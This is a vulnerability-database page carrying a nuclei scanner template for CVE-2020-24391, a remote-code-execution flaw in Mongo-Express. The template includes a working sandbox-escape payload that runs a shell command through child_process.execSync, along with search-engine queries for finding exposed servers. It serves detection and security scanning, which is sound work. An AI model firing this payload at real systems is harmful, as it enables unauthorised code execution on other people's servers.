Lucene search
K

Mongo-Express - Remote Code Execution

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 132 Views

Mongo-Express - Remote Code Execution vulnerability, allowing attackers to execute arbitrary code

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-24391
24 Jun 202614:37
circl
CNNVD
mongo-express 安全漏洞
30 Mar 202100:00
cnnvd
CVE
CVE-2020-24391
30 Mar 202120:52
cve
Cvelist
CVE-2020-24391
30 Mar 202120:52
cvelist
Github Security Blog
Remote code execution in mongo-express
13 Apr 202115:41
github
NVD
CVE-2020-24391
30 Mar 202121:15
nvd
OSV
GHSA-HXMG-HM46-CF62 Remote code execution in mongo-express
13 Apr 202115:41
osv
Prion
Design/Logic Flaw
30 Mar 202121:15
prion
RedhatCVE
CVE-2020-24391
22 May 202516:32
redhatcve
Veracode
Remote Code Execution (RCE)
31 Mar 202103:13
veracode
Rows per page
id: CVE-2020-24391

info:
  name: Mongo-Express - Remote Code Execution
  author: leovalcante
  severity: critical
  description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
    - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24391
    - https://github.com/mongodb-js/query-parser/issues/16
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-24391
    epss-score: 0.75088
    epss-percentile: 0.9945
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query: http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
      - |
        GET /public/css/{{randstr}}.css HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
# digest: 4b0a00483046022100e4c2b6dd714d7506a5097db063bbed3addab74848da5c7b78ebeeec692dd9ac2022100f77cd63878c1ce372243f9b8d0a8896631c463a049abd8fe8d01c2b479166afb:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation